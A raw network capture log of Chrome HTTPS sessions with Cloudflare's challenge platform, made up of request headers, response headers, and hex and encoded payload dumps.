2025-01-22 05:33:53 UTC	16384	OUT	Data Raw: 76 5f 39 30 35 64 32 62 64 34 65 39 32 63 37 32 38 30 3d 34 6d 68 25 32 62 4d 24 42 71 6f 66 6d 48 6d 61 7a 33 4e 33 70 33 44 5a 61 42 32 33 44 2b 75 4b 6c 33 45 71 42 39 33 5a 4d 2b 5a 4f 33 4d 70 33 48 65 6c 5a 79 6d 42 64 42 33 30 73 33 42 6f 57 33 74 6a 33 68 6d 77 68 68 33 70 62 79 71 65 61 33 42 6e 33 49 2b 5a 45 33 75 2b 33 39 79 45 67 34 57 2d 42 77 4f 4a 61 6f 42 48 37 2b 42 7a 33 41 4e 57 32 69 33 71 64 5a 6f 6a 33 79 6c 32 64 33 79 38 78 37 35 2d 61 33 33 4f 6f 33 63 46 49 79 62 4b 6c 33 30 33 33 6e 78 33 61 6e 62 48 7a 4f 33 70 6c 42 76 71 68 33 38 45 68 4e 6f 64 70 46 66 71 79 6e 57 6f 69 7a 71 33 66 79 4f 73 64 74 78 33 33 2d 78 33 33 71 6e 4b 2d 77 4b 7a 4d 6e 54 37 61 77 71 6b 2b 69 4e 7a 41 74 69 62 6e 77 77 6a 6e 63 49 59 79 43 66 33 58 Data Ascii: v_905d2bd4e92c7280=4mh%2bM$BqofmHmaz3N3p3DZaB23D+uKl3EqB93ZM+ZO3Mp3HelZymBdB30s3BoW3tj3hmwhh3pbyqea3Bn3I+ZE3u+39yEg4W-BwOJaoBH7+Bz3ANW2i3qdZoj3yl2d3y8x75-a33Oo3cFIybKl3033nx3anbHzO3plBvqh38EhNodpFfqynWoizq3fyOsdtx33-x33qnK-wKzMnT7awqk+iNzAtibnwwjncIYyCf3X
2025-01-22 05:33:53 UTC	16384	OUT	Data Raw: 46 68 6c 32 58 4c 30 72 54 57 45 33 4a 33 68 2b 5a 57 32 24 42 6e 33 78 33 58 45 37 52 33 4c 33 66 68 24 6f 33 7a 33 70 33 66 53 79 4b 33 48 55 5a 4f 42 34 2b 38 2b 66 61 5a 42 33 58 36 65 61 42 41 6f 48 57 24 45 42 65 33 61 33 37 45 42 34 33 75 2b 42 2d 33 6f 33 4b 2b 66 45 42 4d 33 79 6c 24 6e 33 63 33 70 64 5a 69 42 4c 2b 50 77 35 57 24 32 59 66 70 44 4a 4c 41 33 70 6c 42 6c 42 61 2b 77 69 42 33 42 52 33 4d 73 49 44 42 77 33 66 68 33 57 33 6e 33 30 52 32 4c 33 66 33 49 2d 32 39 33 6d 6c 58 7a 5a 69 33 72 57 71 4c 42 61 33 34 59 45 4f 4d 56 79 4b 33 61 68 37 64 42 77 33 34 61 5a 62 45 24 6d 50 77 42 4e 33 49 58 45 7a 24 4f 51 34 2b 38 6e 73 4e 33 62 33 24 43 76 51 57 42 79 68 6e 24 4f 51 75 77 5a 7a 66 34 4c 43 49 58 36 44 24 6e 39 4f 35 58 2b 71 42 74 Data Ascii: Fhl2XL0rTWE3J3h+ZW2$Bn3x3XE7R3L3fh$o3z3p3fSyK3HUZOB4+8+faZB3X6eaBAoHW$EBe3a37EB43u+B-3o3K+fEBM3yl$n3c3pdZiBL+Pw5W$2YfpDJLA3plBlBa+wiB3BR3MsIDBw3fh3W3n30R2L3f3I-293mlXzZi3rWqLBa34YEOMVyK3ah7dBw34aZbE$mPwBN3IXEz$OQ4+8nsN3b3$CvQWByhn$OQuwZzf4LCIX6D$n9O5X+qBt
2025-01-22 05:33:53 UTC	434	OUT	Data Raw: 77 76 55 33 61 4c 57 70 73 67 36 6c 36 4c 74 7a 65 6c 2d 4f 2b 63 57 48 6c 37 35 66 6f 67 4c 6f 31 6d 67 51 33 46 24 68 71 74 6b 6d 6d 78 2b 75 59 72 33 63 76 67 34 57 46 61 4c 69 66 68 32 31 33 4a 39 75 2d 33 78 57 37 53 69 63 48 38 55 67 79 68 71 44 52 31 59 66 37 32 6d 6b 33 4a 6c 34 79 63 74 33 77 61 64 51 64 69 2b 34 45 79 75 71 32 41 39 30 68 49 24 4b 6c 4a 64 67 36 48 73 36 61 50 44 37 4c 37 57 50 31 33 75 46 72 52 4b 7a 56 31 6d 24 54 6f 75 24 43 55 45 4f 32 57 74 43 55 6d 33 71 55 39 4b 7a 75 55 24 50 2d 49 75 44 52 35 6f 62 7a 42 62 54 6d 61 68 71 33 49 54 6b 2b 33 45 46 76 6f 71 68 61 48 73 48 54 44 4f 66 54 59 49 54 67 75 6e 77 6b 5a 31 33 6a 4c 55 33 73 54 4e 70 42 6d 33 70 36 48 44 79 4b 64 31 71 7a 6a 54 37 59 49 54 73 55 54 63 55 54 69 61 Data Ascii: wvU3aLWpsg6l6Ltzel-O+cWHl75fogLo1mgQ3F$hqtkmmx+uYr3cvg4WFaLifh213J9u-3xW7SicH8UgyhqDR1Yf72mk3Jl4yct3wadQdi+4Eyuq2A90hI$KlJdg6Hs6aPD7L7WP13uFrRKzV1m$Tou$CUEO2WtCUm3qU9KzuU$P-IuDR5obzBbTmahq3ITk+3EFvoqhaHsHTDOfTYITgunwkZ13jLU3sTNpBm3p6HDyKd1qzjT7YITsUTcUTia
2025-01-22 05:33:53 UTC	322	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 05:33:53 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 27160 Connection: close cf-chl-gen: wjTTPuuHahqYHVy9/o6j7nSH4JVBeOAe9OuyrrC1GAhxcg/X84MlWg6nGjiJkb6z$jmmEBUcmD8fFD9qYWwQrrQ== Server: cloudflare CF-RAY: 905d2bf8ec7d8cba-EWR alt-svc: h3=":443"; ma=86400
2025-01-22 05:33:53 UTC	1047	IN	Data Raw: 65 6d 61 50 53 57 31 76 6b 49 4a 70 59 70 43 4d 62 6c 6c 70 68 31 5a 5a 63 6e 35 78 70 4b 53 43 64 61 68 6c 6d 33 69 74 67 71 4f 43 71 48 32 54 61 6d 79 53 68 6f 71 70 71 4b 61 4e 68 72 71 58 65 48 65 43 6e 70 4b 31 6d 71 61 61 6f 35 61 73 6e 5a 66 47 70 34 6a 4f 6b 71 4f 6e 72 63 54 50 6f 64 58 57 73 35 69 30 6e 71 36 75 71 37 62 4c 74 38 61 78 32 4a 36 67 32 4c 61 32 37 4d 72 67 72 4e 4b 39 34 71 71 73 30 73 48 49 30 63 37 4b 79 71 2f 71 31 37 71 33 77 74 50 55 7a 64 72 78 30 2f 58 32 34 38 59 4c 7a 75 6a 68 45 51 55 4d 33 67 58 4e 42 2b 62 7a 37 68 50 75 44 66 76 57 47 74 2f 71 37 78 4d 45 38 52 50 34 39 77 58 7a 2b 69 51 4b 35 69 4d 49 4d 4f 6b 52 44 7a 45 6f 43 54 6b 70 47 51 30 73 4e 53 77 51 48 43 38 63 2f 69 41 51 4f 54 63 54 51 78 67 4a 47 52 34 Data Ascii: emaPSW1vkIJpYpCMbllph1ZZcn5xpKSCdahlm3itgqOCqH2TamyShoqpqKaNhrqXeHeCnpK1mqaao5asnZfGp4jOkqOnrcTPodXWs5i0nq6uq7bLt8ax2J6g2La27MrgrNK94qqs0sHI0c7Kyq/q17q3wtPUzdrx0/X248YLzujhEQUM3gXNB+bz7hPuDfvWGt/q7xME8RP49wXz+iQK5iMIMOkRDzEoCTkpGQ0sNSwQHC8c/iAQOTcTQxgJGR4
2025-01-22 05:33:53 UTC	1369	IN	Data Raw: 52 6c 6f 43 63 58 33 56 38 5a 58 57 75 61 32 31 74 66 49 46 71 64 49 39 7a 74 36 4f 54 64 33 52 37 64 35 71 2f 75 35 65 41 6c 72 48 47 6b 72 43 49 78 61 69 6f 6f 38 79 70 70 70 32 61 71 63 58 50 6e 61 54 51 31 39 71 57 6d 5a 6d 33 6d 4e 76 5a 30 72 65 62 75 4f 4b 37 36 4c 75 6a 78 4f 50 65 7a 62 2b 6f 73 4c 44 63 70 66 43 6e 35 50 61 34 30 4e 62 33 39 76 4c 61 2b 2f 76 2b 31 37 76 59 2f 75 45 45 43 63 44 69 43 39 72 44 39 77 54 74 37 4e 4c 6f 38 76 59 47 39 50 54 36 47 41 58 72 35 68 49 42 46 42 37 38 32 75 7a 33 33 65 51 52 43 68 54 2b 4b 51 4c 38 36 77 4d 71 36 7a 48 79 4e 2f 34 7a 49 69 4c 36 46 50 6e 33 50 77 6b 4b 46 51 35 45 44 78 38 39 51 76 6f 61 46 79 59 38 42 53 30 66 55 45 42 47 4a 44 38 6f 4b 53 39 55 56 55 55 6e 53 52 41 38 46 31 74 58 50 32 Data Ascii: RloCcX3V8ZXWua21tfIFqdI9zt6OTd3R7d5q/u5eAlrHGkrCIxaioo8yppp2aqcXPnaTQ19qWmZm3mNvZ0rebuOK76LujxOPezb+osLDcpfCn5Pa40Nb39vLa+/v+17vY/uEECcDiC9rD9wTt7NLo8vYG9PT6GAXr5hIBFB782uz33eQRChT+KQL86wMq6zHyN/4zIiL6FPn3PwkKFQ5EDx89QvoaFyY8BS0fUEBGJD8oKS9UVUUnSRA8F1tXP2
2025-01-22 05:33:53 UTC	1369	IN	Data Raw: 69 4b 4f 48 62 4b 46 75 67 35 47 66 70 36 57 75 69 4c 6d 78 6a 6f 2b 57 68 70 69 75 74 35 65 34 6e 49 79 42 70 61 61 6d 6b 73 44 41 77 4a 61 37 72 4d 54 4d 79 37 4c 42 31 74 48 52 79 71 71 30 73 4e 33 4e 71 62 66 58 33 61 48 63 30 37 6d 31 74 63 66 64 74 72 37 69 70 72 32 39 7a 2b 32 2b 78 75 71 72 76 37 66 75 30 37 6e 30 2b 66 58 51 30 74 66 59 41 74 6e 54 41 2f 48 58 39 76 6e 36 39 4e 67 4a 7a 75 6e 6d 35 4e 41 53 34 63 38 42 7a 65 37 4c 2b 74 4c 62 46 74 59 67 44 67 2f 38 47 76 44 78 2b 75 48 78 4b 41 44 6f 2f 42 67 51 48 4f 73 4b 4c 79 58 7a 42 65 38 6e 44 44 6f 33 37 54 4d 30 4f 66 37 32 44 76 30 33 2b 79 51 5a 50 68 63 63 52 54 77 44 43 42 38 4e 49 79 4e 4c 4c 67 38 4f 4a 55 41 72 4b 31 45 32 46 78 59 77 47 31 35 66 4b 30 4e 51 5a 79 59 6d 4a 56 74 Data Ascii: iKOHbKFug5Gfp6WuiLmxjo+Whpiut5e4nIyBpaamksDAwJa7rMTMy7LB1tHRyqq0sN3NqbfX3aHc07m1tcfdtr7ipr29z+2+xuqrv7fu07n0+fXQ0tfYAtnTA/HX9vn69NgJzunm5NAS4c8Bze7L+tLbFtYgDg/8GvDx+uHxKADo/BgQHOsKLyXzBe8nDDo37TM0Of72Dv03+yQZPhccRTwDCB8NIyNLLg8OJUArK1E2FxYwG15fK0NQZyYmJVt
2025-01-22 05:33:53 UTC	1369	IN	Data Raw: 6d 71 6d 63 33 39 78 69 36 2b 54 75 6f 52 30 73 61 6d 30 69 48 75 61 74 5a 4f 4e 72 72 57 65 73 61 4b 46 75 59 32 65 6f 4a 71 74 76 4b 44 41 76 38 61 33 71 4d 6d 61 71 71 36 70 31 4c 4f 7a 72 2b 50 5a 30 70 2b 75 78 74 58 64 30 75 65 2f 36 4b 69 68 72 4b 7a 43 77 75 6e 32 74 64 48 69 7a 39 69 79 38 37 58 4e 74 66 76 36 2b 62 37 4e 42 4e 76 69 36 50 50 72 2b 65 7a 6c 43 2f 37 4c 2b 2f 50 2b 39 4f 30 54 43 76 67 45 2b 77 6a 73 39 52 73 52 46 77 77 45 45 42 76 39 49 78 72 34 46 41 77 5a 41 52 59 45 2b 65 67 49 4d 76 4d 56 46 41 49 50 43 2f 66 34 4f 50 54 32 4c 7a 41 54 45 7a 30 65 2f 76 30 58 4d 42 73 62 51 79 59 48 42 68 30 34 49 79 4e 4a 49 54 35 47 56 54 59 53 56 52 59 34 58 43 68 66 50 44 46 43 58 69 45 39 54 7a 78 4a 47 7a 34 34 4b 45 41 35 50 53 30 76 Data Ascii: mqmc39xi6+TuoR0sam0iHuatZONrrWesaKFuY2eoJqtvKDAv8a3qMmaqq6p1LOzr+PZ0p+uxtXd0ue/6KihrKzCwun2tdHiz9iy87XNtfv6+b7NBNvi6PPr+ezlC/7L+/P+9O0TCvgE+wjs9RsRFwwEEBv9Ixr4FAwZARYE+egIMvMVFAIPC/f4OPT2LzATEz0e/v0XMBsbQyYHBh04IyNJIT5GVTYSVRY4XChfPDFCXiE9TzxJGz44KEA5PS0v
2025-01-22 05:33:53 UTC	1369	IN	Data Raw: 65 78 68 6f 36 7a 68 34 32 4e 6e 38 4b 51 74 4a 7a 41 6f 63 47 31 70 35 65 35 7a 63 33 4b 67 59 32 4f 78 72 75 76 68 37 50 41 6b 4b 4c 4b 30 35 66 61 6e 74 37 4d 30 64 4c 4c 77 4f 43 6d 77 63 43 6c 75 71 4c 68 75 63 4c 75 6f 76 48 61 33 63 37 4d 79 76 54 50 2b 76 66 75 75 2f 62 4c 2b 2f 72 64 2f 63 37 2b 34 67 4c 41 78 4f 62 6d 76 66 37 4e 34 65 33 48 38 68 4d 48 30 4f 6a 73 34 4f 76 68 30 75 38 50 35 64 62 77 44 50 72 67 33 4f 33 39 35 66 67 44 49 41 6a 39 4b 41 45 46 2b 43 6e 6f 48 65 55 78 35 78 66 31 45 41 55 36 4f 52 51 34 4f 67 73 37 47 30 41 31 47 54 34 54 4e 6a 5a 42 51 54 55 36 52 69 6f 43 54 54 34 76 4b 7a 42 58 46 52 59 56 52 79 31 62 52 6c 63 73 4d 7a 6b 59 4d 45 31 67 59 6d 64 46 51 47 55 36 53 43 51 71 54 6d 52 43 52 55 67 38 56 6e 42 68 4b Data Ascii: exho6zh42Nn8KQtJzAocG1p5e5zc3KgY2Oxruvh7PAkKLK05fant7M0dLLwOCmwcCluqLhucLuovHa3c7MyvTP+vfuu/bL+/rd/c7+4gLAxObmvf7N4e3H8hMH0Ojs4Ovh0u8P5dbwDPrg3O395fgDIAj9KAEF+CnoHeUx5xf1EAU6ORQ4Ogs7G0A1GT4TNjZBQTU6RioCTT4vKzBXFRYVRy1bRlcsMzkYME1gYmdFQGU6SCQqTmRCRUg8VnBhK
2025-01-22 05:33:53 UTC	1369	IN	Data Raw: 57 69 33 36 35 77 49 4b 33 70 59 47 66 79 6f 4f 43 6e 49 75 58 78 49 76 4d 79 71 72 56 79 62 54 4c 31 37 69 70 6b 38 69 36 75 64 57 31 6e 4c 36 72 31 62 57 32 78 71 44 48 75 37 69 69 79 37 66 6f 78 2b 37 54 36 75 2f 6d 30 73 7a 34 73 76 6e 59 30 39 7a 74 75 4e 58 31 31 50 33 75 2b 39 71 39 33 77 63 49 42 50 55 50 32 77 7a 59 2b 68 44 4b 30 76 50 56 31 78 66 6e 30 4f 51 58 44 2f 51 63 39 74 66 62 36 2b 37 34 33 52 4c 78 42 78 58 72 4b 64 38 67 2b 79 33 38 4d 2f 41 75 4c 2b 67 41 41 54 51 72 38 7a 41 30 48 67 30 2b 47 30 45 54 45 6b 63 41 42 67 59 57 48 68 68 49 4e 67 38 49 50 43 6b 6f 42 6b 4d 65 4b 69 68 55 4f 30 4d 70 58 45 63 57 53 69 70 64 54 53 52 68 47 46 59 79 61 44 31 42 62 57 6f 39 62 48 46 75 4c 54 73 2b 64 55 6c 56 56 6d 68 6b 57 54 78 4d 52 6d Data Ascii: Wi365wIK3pYGfyoOCnIuXxIvMyqrVybTL17ipk8i6udW1nL6r1bW2xqDHu7iiy7fox+7T6u/m0sz4svnY09ztuNX11P3u+9q93wcIBPUP2wzY+hDK0vPV1xfn0OQXD/Qc9tfb6+743RLxBxXrKd8g+y38M/AuL+gAATQr8zA0Hg0+G0ETEkcABgYWHhhINg8IPCkoBkMeKihUO0MpXEcWSipdTSRhGFYyaD1BbWo9bHFuLTs+dUlVVmhkWTxMRm
2025-01-22 05:33:53 UTC	1369	IN	Data Raw: 66 6e 6d 67 67 34 44 48 6f 4d 47 4c 79 37 6e 43 72 70 7a 4e 31 70 2b 69 30 74 6d 57 6b 37 44 4a 6d 2b 44 4c 75 4c 36 75 33 71 33 41 6f 38 43 69 6f 4f 6a 41 79 36 6d 34 37 4e 2b 37 72 61 72 55 72 72 66 6c 2b 72 53 74 36 65 36 37 76 2f 32 38 33 4d 50 78 77 38 61 39 39 51 50 48 76 63 49 48 79 38 2f 70 35 4d 7a 54 45 67 2f 57 31 38 34 4c 31 4d 30 61 47 39 62 72 48 67 2f 69 31 66 73 46 33 2b 63 6d 34 2b 62 64 34 68 67 4a 35 52 34 7a 36 75 6b 69 38 2f 54 33 4a 6a 76 30 43 44 6f 64 2b 67 41 2b 41 41 50 31 2b 69 38 48 2f 54 59 30 4a 66 30 6b 52 77 73 51 42 31 4d 4e 42 6b 4a 54 46 41 35 49 4c 52 59 53 57 6c 73 59 45 68 64 6a 48 52 59 38 56 78 38 30 5a 6c 63 71 48 6b 52 6e 4b 53 5a 75 55 53 77 71 63 6c 5a 52 4f 43 39 5a 4e 43 35 71 4f 44 45 79 66 6d 73 37 55 49 4b Data Ascii: fnmgg4DHoMGLy7nCrpzN1p+i0tmWk7DJm+DLuL6u3q3Ao8CioOjAy6m47N+7rarUrrfl+rSt6e67v/283MPxw8a99QPHvcIHy8/p5MzTEg/W184L1M0aG9brHg/i1fsF3+cm4+bd4hgJ5R4z6uki8/T3Jjv0CDod+gA+AAP1+i8H/TY0Jf0kRwsQB1MNBkJTFA5ILRYSWlsYEhdjHRY8Vx80ZlcqHkRnKSZuUSwqclZROC9ZNC5qODEyfms7UIK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49767	104.18.94.41	443	3852	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 05:33:54 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1582007332:1737520020:U82v92YyT_rqqvFKCMvYgps0MODqz94wRFPIwXDWdYo/905d2bd4e92c7280/mPKT7..JMzRCIQobxA53eE9nFWjIBKNfaHE4n__QrTo-1737524027-1.1.1.1-tuo4zLLsp8K3sgvDjCJgXNPsrxuxi7ZyX3w4gKmYHfjoU3EKt24BYfIGjg.lOWPZ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 05:33:54 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Wed, 22 Jan 2025 05:33:54 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: 8g4PgfVs4J7zYES/LoTkWnnlZG2hqbhgUuANAbnd+2rIQlPscfHBN7NAbJPAVVgkhH7zSH8QJpq0gYMJWpavxw==$sOgXFoxBiJNFo6kjp1ADKw== Server: cloudflare CF-RAY: 905d2bfead6543fa-EWR alt-svc: h3=":443"; ma=86400
2025-01-22 05:33:54 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 33 30 7d Data Ascii: {"err":100230}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49770	104.18.95.41	443	3852	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 05:33:59 UTC	1176	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1582007332:1737520020:U82v92YyT_rqqvFKCMvYgps0MODqz94wRFPIwXDWdYo/905d2bd4e92c7280/mPKT7..JMzRCIQobxA53eE9nFWjIBKNfaHE4n__QrTo-1737524027-1.1.1.1-tuo4zLLsp8K3sgvDjCJgXNPsrxuxi7ZyX3w4gKmYHfjoU3EKt24BYfIGjg.lOWPZ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 35563 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: mPKT7..JMzRCIQobxA53eE9nFWjIBKNfaHE4n__QrTo-1737524027-1.1.1.1-tuo4zLLsp8K3sgvDjCJgXNPsrxuxi7ZyX3w4gKmYHfjoU3EKt24BYfIGjg.lOWPZ sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/en8le/0x4AAAAAAA5pnBhoTgM91kpZ/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 05:33:59 UTC	16384	OUT	Data Raw: 76 5f 39 30 35 64 32 62 64 34 65 39 32 63 37 32 38 30 3d 34 6d 68 25 32 62 4d 24 42 71 6f 66 6d 48 6d 61 7a 33 4e 33 70 33 44 5a 61 42 32 33 44 2b 75 4b 6c 33 45 71 42 39 33 5a 4d 2b 5a 4f 33 4d 70 33 48 65 6c 5a 79 6d 42 64 42 33 30 73 33 42 6f 57 33 74 6a 33 68 6d 77 68 68 33 70 62 79 71 65 61 33 42 6e 33 49 2b 5a 45 33 75 2b 33 39 79 45 67 34 57 2d 42 77 4f 4a 61 6f 42 48 37 2b 42 7a 33 41 4e 57 32 69 33 71 64 5a 6f 6a 33 79 6c 32 64 33 79 38 78 37 35 2d 61 33 33 4f 6f 33 63 46 49 79 62 4b 6c 33 30 33 33 6e 78 33 61 6e 62 48 7a 4f 33 70 6c 42 76 71 68 33 38 45 68 4e 6f 64 70 46 66 71 79 6e 57 6f 69 7a 71 33 66 79 4f 73 64 74 78 33 33 2d 78 33 33 71 6e 4b 2d 77 4b 7a 4d 6e 54 37 61 77 71 6b 2b 69 4e 7a 41 74 69 62 6e 77 77 6a 6e 63 49 59 79 43 66 33 58 Data Ascii: v_905d2bd4e92c7280=4mh%2bM$BqofmHmaz3N3p3DZaB23D+uKl3EqB93ZM+ZO3Mp3HelZymBdB30s3BoW3tj3hmwhh3pbyqea3Bn3I+ZE3u+39yEg4W-BwOJaoBH7+Bz3ANW2i3qdZoj3yl2d3y8x75-a33Oo3cFIybKl3033nx3anbHzO3plBvqh38EhNodpFfqynWoizq3fyOsdtx33-x33qnK-wKzMnT7awqk+iNzAtibnwwjncIYyCf3X
2025-01-22 05:33:59 UTC	16384	OUT	Data Raw: 46 68 6c 32 58 4c 30 72 54 57 45 33 4a 33 68 2b 5a 57 32 24 42 6e 33 78 33 58 45 37 52 33 4c 33 66 68 24 6f 33 7a 33 70 33 66 53 79 4b 33 48 55 5a 4f 42 34 2b 38 2b 66 61 5a 42 33 58 36 65 61 42 41 6f 48 57 24 45 42 65 33 61 33 37 45 42 34 33 75 2b 42 2d 33 6f 33 4b 2b 66 45 42 4d 33 79 6c 24 6e 33 63 33 70 64 5a 69 42 4c 2b 50 77 35 57 24 32 59 66 70 44 4a 4c 41 33 70 6c 42 6c 42 61 2b 77 69 42 33 42 52 33 4d 73 49 44 42 77 33 66 68 33 57 33 6e 33 30 52 32 4c 33 66 33 49 2d 32 39 33 6d 6c 58 7a 5a 69 33 72 57 71 4c 42 61 33 34 59 45 4f 4d 56 79 4b 33 61 68 37 64 42 77 33 34 61 5a 62 45 24 6d 50 77 42 4e 33 49 58 45 7a 24 4f 51 34 2b 38 6e 73 4e 33 62 33 24 43 76 51 57 42 79 68 6e 24 4f 51 75 77 5a 7a 66 34 4c 43 49 58 36 44 24 6e 39 4f 35 58 2b 71 42 74 Data Ascii: Fhl2XL0rTWE3J3h+ZW2$Bn3x3XE7R3L3fh$o3z3p3fSyK3HUZOB4+8+faZB3X6eaBAoHW$EBe3a37EB43u+B-3o3K+fEBM3yl$n3c3pdZiBL+Pw5W$2YfpDJLA3plBlBa+wiB3BR3MsIDBw3fh3W3n30R2L3f3I-293mlXzZi3rWqLBa34YEOMVyK3ah7dBw34aZbE$mPwBN3IXEz$OQ4+8nsN3b3$CvQWByhn$OQuwZzf4LCIX6D$n9O5X+qBt
2025-01-22 05:33:59 UTC	2795	OUT	Data Raw: 33 35 32 52 74 33 63 2b 70 72 49 53 30 6d 72 2d 57 24 64 24 42 57 68 6c 5a 63 39 71 4c 66 67 53 57 33 42 33 63 46 43 71 33 59 42 78 77 31 61 33 63 2b 71 6e 4f 2b 44 6d 79 53 4c 31 6c 42 5a 31 75 4b 55 69 6c 63 2b 5a 33 32 68 49 62 6d 68 68 32 68 33 38 33 70 6c 32 65 38 6e 74 7a 2b 42 63 33 4a 55 66 52 6f 63 4f 6d 33 34 7a 43 62 4f 59 43 4e 2b 53 48 37 6b 45 4c 68 24 59 33 57 2b 69 45 5a 36 32 38 6a 54 39 32 64 2b 42 33 45 56 31 34 51 68 33 72 78 69 64 49 42 33 77 2b 58 53 42 48 57 63 4f 6e 35 67 44 4a 34 61 63 33 24 79 38 78 33 32 4d 76 77 33 30 71 66 62 32 6e 73 43 75 4f 4e 78 5a 33 24 6f 33 4c 62 42 33 30 33 46 2b 42 5a 32 6e 4a 59 50 4b 68 7a 62 57 61 52 32 6c 7a 4f 78 6b 64 33 62 6e 2d 6d 61 4b 33 4f 33 48 74 6f 67 52 4b 33 45 6d 61 53 4b 4c 33 6a 6a Data Ascii: 352Rt3c+prIS0mr-W$d$BWhlZc9qLfgSW3B3cFCq3YBxw1a3c+qnO+DmySL1lBZ1uKUilc+Z32hIbmhh2h383pl2e8ntz+Bc3JUfRocOm34zCbOYCN+SH7kELh$Y3W+iEZ628jT92d+B3EV14Qh3rxidIB3w+XSBHWcOn5gDJ4ac3$y8x32Mvw30qfb2nsCuONxZ3$o3LbB303F+BZ2nJYPKhzbWaR2lzOxkd3bn-maK3O3HtogRK3EmaSKL3jj
2025-01-22 05:34:00 UTC	282	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 05:34:00 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4924 Connection: close cf-chl-out: TVsBl3LUPCijDtCxIoxACanXw1x4fK0DZMhhTDHS/XoOKd1Q5xd55yOQM9ia/YfoTlZh57c+eI8SfbO6sPk+qXlp3KQyODTkX+qKm1r+eCQ=$2aSLLrkcfD/tBL4R4tskSA==
2025-01-22 05:34:00 UTC	1191	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 2d 73 3a 20 4d 6b 6c 65 53 4e 6e 56 68 46 4d 69 4c 4d 41 31 30 36 31 67 49 63 51 4b 52 65 4b 6f 32 52 6c 43 42 69 70 73 70 4b 79 36 39 6b 36 38 4a 64 42 71 63 30 4d 59 67 2b 47 35 62 55 45 4e 36 6d 50 65 55 41 36 4f 4f 70 61 55 31 57 34 68 74 76 58 53 6f 31 49 38 49 46 68 66 63 34 6c 55 44 74 72 79 6c 63 37 66 34 72 49 48 39 34 67 34 32 56 66 35 39 69 79 2f 66 6e 37 4e 37 5a 46 64 42 76 32 73 74 6c 46 43 2f 77 58 39 4e 77 64 69 66 37 38 4f 46 4b 79 5a 6e 4e 54 38 4d 6f 76 4f 5a 69 4d 45 30 58 39 62 6c 50 64 62 59 35 74 4e 6c 34 4e 75 73 6f 4e 6d 68 48 79 6b 6e 35 6f 55 6c 56 65 55 7a 4b 63 41 69 38 39 50 38 55 43 39 47 4e 6d 54 33 30 63 48 6f 76 4c 78 2b 41 7a 48 66 67 69 47 75 79 6b 71 41 57 47 36 34 75 68 4d 59 69 41 72 46 Data Ascii: cf-chl-out-s: MkleSNnVhFMiLMA1061gIcQKReKo2RlCBipspKy69k68JdBqc0MYg+G5bUEN6mPeUA6OOpaU1W4htvXSo1I8IFhfc4lUDtrylc7f4rIH94g42Vf59iy/fn7N7ZFdBv2stlFC/wX9Nwdif78OFKyZnNT8MovOZiME0X9blPdbY5tNl4NusoNmhHykn5oUlVeUzKcAi89P8UC9GNmT30cHovLx+AzHfgiGuykqAWG64uhMYiArF
2025-01-22 05:34:00 UTC	1265	IN	Data Raw: 65 6d 61 50 53 57 31 76 6b 49 4a 70 59 70 43 4d 62 6c 6c 70 68 31 5a 59 6b 4a 35 75 62 35 78 31 5a 57 56 31 69 32 4a 6b 69 71 4e 39 69 36 43 55 68 58 2b 75 6a 33 42 76 65 70 57 49 76 4b 69 70 6a 4d 43 73 72 35 53 30 6d 72 69 5a 75 63 4b 6a 68 4d 71 4f 71 71 4c 51 69 62 75 69 31 4d 6a 50 6a 72 4c 53 73 35 69 30 6e 71 2b 79 30 62 62 51 73 72 2f 41 76 36 4f 66 71 72 69 39 37 63 4c 6d 77 72 72 63 31 4f 62 4c 78 61 33 55 30 2b 54 63 7a 75 76 30 36 74 44 61 39 50 54 57 33 2f 37 66 77 72 2f 4b 35 64 33 39 34 67 58 69 41 4e 37 30 35 52 59 42 39 4f 59 5a 44 2f 50 57 47 39 37 76 37 76 73 68 42 66 58 76 48 2b 66 33 2f 75 6e 64 4b 65 55 62 44 43 33 73 4d 7a 49 6c 4c 69 59 69 38 7a 51 52 4b 54 51 56 2b 42 30 38 47 67 38 78 4e 55 51 68 4d 45 6f 41 47 77 6f 37 46 77 67 Data Ascii: 